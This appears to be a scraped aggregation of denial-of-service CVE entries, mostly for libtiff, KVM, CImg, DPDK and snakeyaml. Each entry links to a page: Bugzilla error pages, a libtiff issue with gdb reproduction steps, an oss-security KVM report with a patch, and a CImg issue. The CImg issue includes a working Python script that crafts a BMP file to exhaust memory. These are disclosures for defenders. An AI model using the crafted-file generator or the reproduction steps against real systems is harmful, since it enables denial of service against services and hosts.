A flaw was found in Undertow. A potential security issue in flow control handling by the browser over HTTP/2 may cause overhead or a denial of service in the server. This flaw exists because of an incomplete fix for CVE-2021-3629.

'2072339?cve=title' is not a valid bug number nor an alias to a bug.

Please press **Back** and try again.

CVE-2022-1259: Invalid Bug ID

A heap buffer overflow flaw was found in Libtiffs' tiffinfo.c in TIFFReadRawDataStriped() function. This flaw allows an attacker to pass a crafted TIFF file to the tiffinfo tool, triggering a heap buffer overflow issue and causing a crash that leads to a denial of service.

'2074404?cve=title' is not a valid bug number nor an alias to a bug.

Please press **Back** and try again.

CVE-2022-1354: Invalid Bug ID

A stack buffer overflow flaw was found in Libtiffs' tiffcp.c in main() function. This flaw allows an attacker to pass a crafted TIFF file to the tiffcp tool, triggering a stack buffer overflow issue, possibly corrupting the memory, and causing a crash that leads to a denial of service.

'2074415?cve=title' is not a valid bug number nor an alias to a bug.

Please press **Back** and try again.

CVE-2022-1355: Invalid Bug ID

It was found in libtiff 4.4.0rc1 that there is an invalid pointer free operation in TIFFClose() at tif_close.c:131 called by tiffcrop.c:2522 that can cause a program crash and denial of service while processing crafted input.

**Summary**

There is a invalid pointer free() operation in TIFFClose() at tif\_close.c:131 called by tiffcrop.c:2522

131:TIFFCleanup(tif);

**Version**

    root@peng:~/libtiff-v4.4.0rc1# tools/.libs/tiffcrop -v
    Library Release: LIBTIFF, Version 4.4.0
    Copyright (c) 1988-1996 Sam Leffler
    Copyright (c) 1991-1996 Silicon Graphics, Inc.
    Tiffcrop version: 2.5, last updated: 02-09-2022

**Steps to reproduce**

    ./autogen.sh
    ./configure
    make -j
    root@peng:~/libtiff-v4.4.0rc1# gdb --args tools/.libs/tiffcrop -Z 1:4,3:3 -R 90 -H 300 -S 2:2 -i poc1 /tmp/foo
    TIFFFetchDirectory: Can not read TIFF directory count.
    TIFFReadDirectory: Failed to read directory at offset 4279506196.
    free(): invalid pointer
    Program received signal SIGABRT, Aborted.
    __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51
    51      ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
    (gdb) bt
    #0  __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51
    #1  0x00007ffff77a17f1 in __GI_abort () at abort.c:79
    #2  0x00007ffff77ea837 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7ffff7917a7b "%s\n") at ../sysdeps/posix/libc_fatal.c:181
    #3  0x00007ffff77f18ba in malloc_printerr (str=str@entry=0x7ffff7915c76 "free(): invalid pointer") at malloc.c:5342
    #4  0x00007ffff77f8dec in _int_free (have_lock=0, p=0x55555576f730, av=0x7ffff7b4cc40 <main_arena>) at malloc.c:4167
    #5  __GI___libc_free (mem=0x55555576f740) at malloc.c:3134
    #6  0x00007ffff7b5c9c9 in TIFFClose (tif=<optimized out>) at tif_close.c:131
    #7  0x0000555555559487 in main (argc=<optimized out>, argv=0x7fffffffe348) at tiffcrop.c:2522

**Platform**

uname -a Linux peng 5.4.0-42-generic 18.04.1-Ubuntu SMP Fri Jul 10 07:21:24 UTC 2020 x86\_64 x86\_64 x86\_64 GNU/Linux

poc1

Edited May 22, 2022 by

CVE-2022-2521: tiffcrop: free invalid pointer in TIFFClose() at tif_close.c:131 called by tiffcrop.c:2522 (#422) · Issues · libtiff / libtiff · GitLab

A flaw was found in the Linux kernel’s KVM when attempting to set a SynIC IRQ. This issue makes it possible for a misbehaving VMM to write to SYNIC/STIMER MSRs, causing a NULL pointer dereference. This flaw allows an unprivileged local attacker on the host to issue specific ioctl calls, causing a kernel oops condition that results in a denial of service.

Permalink

Browse files

KVM: x86: Avoid theoretical NULL pointer dereference in kvm\_irq\_deliv…

…ery\_to\_apic\_fast()

When kvm\_irq\_delivery\_to\_apic\_fast() is called with APIC\_DEST\_SELF
shorthand, 'src' must not be NULL. Crash the VM with KVM\_BUG\_ON()
instead of crashing the host.

Signed-off-by: Vitaly Kuznetsov <vkuznets@redhat.com>
Message-Id: <20220325132140.25650-3-vkuznets@redhat.com>
Cc: stable@vger.kernel.org
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>

*   Loading branch information

CVE-2022-2153: KVM: x86: Avoid theoretical NULL pointer dereference in kvm_irq_deliv… · torvalds/linux@00b5f37

A NULL pointer dereference issue was found in KVM when releasing a vCPU with dirty ring support enabled. This flaw allows an unprivileged local attacker on the host to issue specific ioctl calls, causing a kernel oops condition that results in a denial of service.

*   Products
    *   Openwall GNU/\*/Linux   _server OS_
    *   Linux Kernel Runtime Guard
    *   John the Ripper   _password cracker_
        *   Free & Open Source for any platform
        *   in the cloud
        *   Pro for Linux
        *   Pro for macOS
    *   Wordlists   _for password cracking_
    *   passwdqc   _policy enforcement_
        *   Free & Open Source for Unix
        *   Pro for Windows (Active Directory)
    *   yescrypt   _KDF & password hashing_
    *   yespower   _Proof-of-Work (PoW)_
    *   crypt\_blowfish   _password hashing_
    *   phpass   _ditto in PHP_
    *   tcb   _better password shadowing_
    *   Pluggable Authentication Modules
    *   scanlogd   _port scan detector_
    *   popa3d   _tiny POP3 daemon_
    *   blists   _web interface to mailing lists_
    *   msulogin   _single user mode login_
    *   php\_mt\_seed   _mt\_rand() cracker_
*   Services
*   Publications
    *   Articles
    *   Presentations
*   Resources
    *   Mailing lists
    *   Community wiki
    *   Source code repositories (GitHub)
    *   Source code repositories (CVSweb)
    *   File archive & mirrors
    *   How to verify digital signatures
    *   OVE IDs
*   What's new

\[<prev\] \[next>\] \[thread-next>\] \[day\] \[month\] \[year\] \[list\]

Date: Thu, 7 Apr 2022 10:15:42 +0800 (GMT+08:00)
From: kangel <kangel@....edu.cn>
To: oss-security@...ts.openwall.com
Cc: pgn@....edu.cn, qiuhao@...ec.org
Subject: Linux kernel: x86/kvm: null-ptr-deref in kvm\_dirty\_ring\_push




-----原始邮件-----
发件人:kangel <kangel@....edu.cn>
发送时间:2022-04-06 21:11:39 (星期三)
收件人: security@...nel.org, linux-distros@...openwall.org
抄送: secalert@...hat.com, pbonzini@...hat.com, pgn@....edu.cn, qiuhao@...ec.org
主题: \[vs\] x86/kvm: null-ptr-deref in kvm\_dirty\_ring\_push


Hi developers,
    We found a null-ptr-deref in the kvm module which can lead to DoS. This flaw is in kvm\_dirty\_ring\_push in virt/kvm/dirty\_ring.c. The linux kernel version is 5.17.0-rc8. We would appreciate a CVE ID if this is a security issue.
------------\[ Description \]------------
    When we call kvm\_vcpu\_release(), it will call kvm\_dirty\_ring\_free() which will free ring->dirty\_gfns and set it to NULL. Then if we can set kvm->dirty\_ring\_size != NULL\[1\] and make vcpu->arch.st.preempt to NULL\[2\], it will call kvm\_dirty\_ring\_push() and lead to null-ptr-deref in virt/kvm/dirty\_ring.c:159.
    The condition of \[1\] can be set by do ioctl$KVM\_CAP\_DIRTY\_LOG\_RING and the condition of \[2\] can be set by race of doing ioctf$KVM\_RUN.
------------\[ Reproducer \]------------
qemu run:
qemu-system-x86\_64 -m 512M -smp 2 -kernel /home/zju/linux-5.17-rc8/arch/x86/boot/bzImage -append "console=ttyS0 root=/dev/sda earlyprintk=serial net.ifnames=0 nokaslr" -drive file=/home/zju/script/stretch2.img,format=raw -net user,host=10.0.2.10,hostfwd=tcp:127.0.0.1:10021-:22 -net nic,model=e1000 -enable-kvm -nographic 
poc.c is attached( run in qemu).
gcc poc.c -static -o poc -lpthread

------------\[ Credits \]------------
Yongkang Jia (Zhejiang University)
Gaoning Pan (Zhejiang University)
Qiuhao Li (Harbin Institute of Technology)
------------\[ Backtrace \]------------
KASAN: null-ptr-deref in range \[0x0000000000000030-0x0000000000000037\]
CPU: 0 PID: 453 Comm: syz-executor425 Not tainted 5.17.0 #3
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1~cloud0 04/01/2014
RIP: 0010:kvm\_dirty\_ring\_push+0x10c/0x2e0 arch/x86/kvm/../../../virt/kvm/dirty\_ring.c:159
Code: 0f 8e 8e 01 00 00 48 b8 00 00 00 00 00 fc ff df 41 83 ec 01 44 23 65 00 49 c1 e4 04 4c 01 e3 48 8d 7b 04 48 89 fa 48 c1 ea 03 <0f> b6 14 02 48 89 f8 83 e0 07 83 c0 03 38 d0 7c 08 84 d2 0f 85 47
RSP: 0018:ffff88800812fb88 EFLAGS: 00010207
RAX: dffffc0000000000 RBX: 0000000000000030 RCX: ffffffffa5a929d4
RDX: 0000000000000006 RSI: 0000000000000000 RDI: 0000000000000034
RBP: ffff888004d12118 R08: 0000000000000001 R09: fffffbfff5104469
R10: 0000000000000000 R11: fffffbfff5104468 R12: 0000000000000030
R13: 0000000000000000 R14: 0000000000000000 R15: ffff888004d10dd0
FS:  0000000000868880(0000) GS:ffff88806d200000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000000020ffe010 CR3: 0000000005ba4002 CR4: 00000000003726f0
DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
Call Trace:
 <TASK>
 mark\_page\_dirty\_in\_slot+0x192/0x270 arch/x86/kvm/../../../virt/kvm/kvm\_main.c:3171
 kvm\_steal\_time\_set\_preempted arch/x86/kvm/x86.c:4600 \[inline\]
 kvm\_arch\_vcpu\_put+0x34e/0x5b0 arch/x86/kvm/x86.c:4618
 vcpu\_put+0x1b/0x70 arch/x86/kvm/../../../virt/kvm/kvm\_main.c:211
 vmx\_free\_vcpu+0xcb/0x130 arch/x86/kvm/vmx/vmx.c:6985
 kvm\_arch\_vcpu\_destroy+0x76/0x290 arch/x86/kvm/x86.c:11219
 kvm\_vcpu\_destroy arch/x86/kvm/../../../virt/kvm/kvm\_main.c:441 \[inline\]
 kvm\_destroy\_vcpus+0x119/0x280 arch/x86/kvm/../../../virt/kvm/kvm\_main.c:460
 kvm\_free\_vcpus arch/x86/kvm/x86.c:11659 \[inline\]
 kvm\_arch\_destroy\_vm+0x22a/0x380 arch/x86/kvm/x86.c:11769
 kvm\_destroy\_vm arch/x86/kvm/../../../virt/kvm/kvm\_main.c:1217 \[inline\]
 kvm\_put\_kvm+0x3ff/0x900 arch/x86/kvm/../../../virt/kvm/kvm\_main.c:1250
 kvm\_vcpu\_release+0x4d/0x70 arch/x86/kvm/../../../virt/kvm/kvm\_main.c:3668
 \_\_fput+0x21b/0x940 fs/file\_table.c:317
 task\_work\_run+0xde/0x180 kernel/task\_work.c:164
 tracehook\_notify\_resume include/linux/tracehook.h:188 \[inline\]
 exit\_to\_user\_mode\_loop kernel/entry/common.c:175 \[inline\]
 exit\_to\_user\_mode\_prepare+0x14d/0x150 kernel/entry/common.c:207
 \_\_syscall\_exit\_to\_user\_mode\_work kernel/entry/common.c:289 \[inline\]
 syscall\_exit\_to\_user\_mode+0x1d/0x40 kernel/entry/common.c:300
 do\_syscall\_64+0x48/0x90 arch/x86/entry/common.c:86
 entry\_SYSCALL\_64\_after\_hwframe+0x44/0xae
------------\[ Patch \]------------
We try to do a patch, which can not make the poc trigger this flaw.
diff --git a/virt/kvm/dirty\_ring.c b/virt/kvm/dirty\_ring.c.patch
index 222ecc8..38f1b66 100644
--- a/virt/kvm/dirty\_ring.c
+++ b/virt/kvm/dirty\_ring.c.patch
@@ -154,6 +154,8 @@ void kvm\_dirty\_ring\_push(struct kvm\_dirty\_ring \*ring, u32 slot, u64 offset)
        /\* It should never get full \*/
        WARN\_ON\_ONCE(kvm\_dirty\_ring\_full(ring));

+       if (!ring->dirty\_gfns)
+               return;
        entry = &ring->dirty\_gfns\[ring->dirty\_index & (ring->size - 1)\];

        entry->slot = slot;


------------\[ Cut here \]------------
C repro and kernel config are attached.
Best regards.
    Yongkang Jia of Zhejiang University

**Content of type "**text/html**" skipped**

**View attachment "**poc.c**" of type "**text/plain**" (6534 bytes)**

**Download attachment "**config**" of type "**application/octet-stream**" (130642 bytes)**

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.

CVE-2022-1263: security - Linux kernel: x86/kvm: null-ptr-deref in kvm_dirty_ring_push

A flaw was found in Clmg, where with the help of a maliciously crafted pandore or bmp file with modified dx and dy header field values it is possible to trick the application into allocating huge buffer sizes like 64 Gigabyte upon reading the file from disk or from a virtual buffer.

**Description**

Via a maliciously crafted pandore or bmp file with modified dx and dy header field values it is possible to trick the application into allocating huge buffer sizes like 64 Gigabyte upon reading the file from disk or from a virtual buffer.

**Version**

This does affect the newest Version of Cimg which is 3.10, commit 607aea7 as the time of writing.

**Proof of Concept**

Due to the fact that I cannot attach bmp files in this format, here is a small python script that will generate a bmp file with given dimmensions. Note that the final buffer size is calculated by multiplying the product of width and height by 3. This code snippet uses a sample value of 5 GB.

    import struct
    
    def write_size(dx,dy):
        x = struct.pack('I',dx)
        y = struct.pack('I',dy)
        
        min_bmp_head = list(
                   b'BM\xf2Y\x03\x00\x00\x00\x00\x006\x04\x00\x00(\x00\x00\x00 \
                   V\xa8\xab1\x02\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00 \
                   \xbcU\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00 \
                   \x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00\x03\x03'
                            )
    
        min_bmp_head[0x12] = x[0]
        min_bmp_head[0x13] = x[1]
        min_bmp_head[0x14] = x[2]
        min_bmp_head[0x15] = x[3]
    
        min_bmp_head[0x16] = y[0]
        min_bmp_head[0x17] = y[1]
        min_bmp_head[0x18] = y[2]
        min_bmp_head[0x19] = y[3]
    
        open('crash.bmp','wb').write(bytes(min_bmp_head))
    
    write_size(833333334,2) # use these two parameters to control dx and dy of the image. 833333334,2 for 5 GB
    

then read the file via standard methods:

    #define cimg_display 0
    #include "CImg.h"
    #include <iostream>
    
    int main(int argc,const char* argv[]){
    
        if (argc < 2){
            printf("no img\n");
            exit(1);
        }
    
        cimg_library::CImg<unsigned char> img;
        img.assign(argv[1]);
    }
    

The code was compiled with g++ version 9.4.0 on Ubuntu 9.4.0-1ubuntu1~20.04 via g++ test.cpp -o ./test -ljpeg -lpng

**Root cause**

_line numbers refer to main branch with commit 927fee5_

altough safe\_size (line 11771) does check for overflows of the size\_t type, it does allow very large values . One would think that the try/catch block try { _data = new T[siz]; } (line 11885) does not allow for allocations that are too big and would completely circumvent this attack but actually, allocations that are equal to the maximum available RAM of a system or even numbers that are a bit higher (I tested the 5 GB case on a 4GB RAM machine) will _not_ thorw an exception like std::bad\_alloc.

**Impact**

This vulnerability allows an attacker who can send images to an application to force an premature process exit and exhaust system memory, potentially leading to a full system denial of service.

**Prevention**

One could define a global constant that regulates the maximum value safe\_size can return. The user then could change the default value depending on context.

CVE-2022-1325: Denial of service via RAM exhaustion in _load_bmp · Issue #343 · GreycLab/CImg

A permissive list of allowed inputs flaw was found in DPDK. This issue allows a remote attacker to cause a denial of service triggered by sending a crafted Vhost header to DPDK.

'2099475?cve=title' is not a valid bug number nor an alias to a bug.

Please press **Back** and try again.

CVE-2022-2132: Invalid Bug ID

The package org.yaml:snakeyaml from 0 and before 1.31 are vulnerable to Denial of Service (DoS) due missing to nested depth limitation for collections.

**Uncontrolled Resource Consumption in snakeyaml**

High severity GitHub Reviewed Published Aug 31, 2022 • Updated Sep 9, 2022

GHSA-3mc7-4q67-w48m: Uncontrolled Resource Consumption in snakeyaml

An unauthenticated user can overload a part of HCL VersionVault Express and cause a denial of service.

 

 Loading...

Skip to page contentSkip to chat

Skip to page contentSkip to chat

Tag

#dos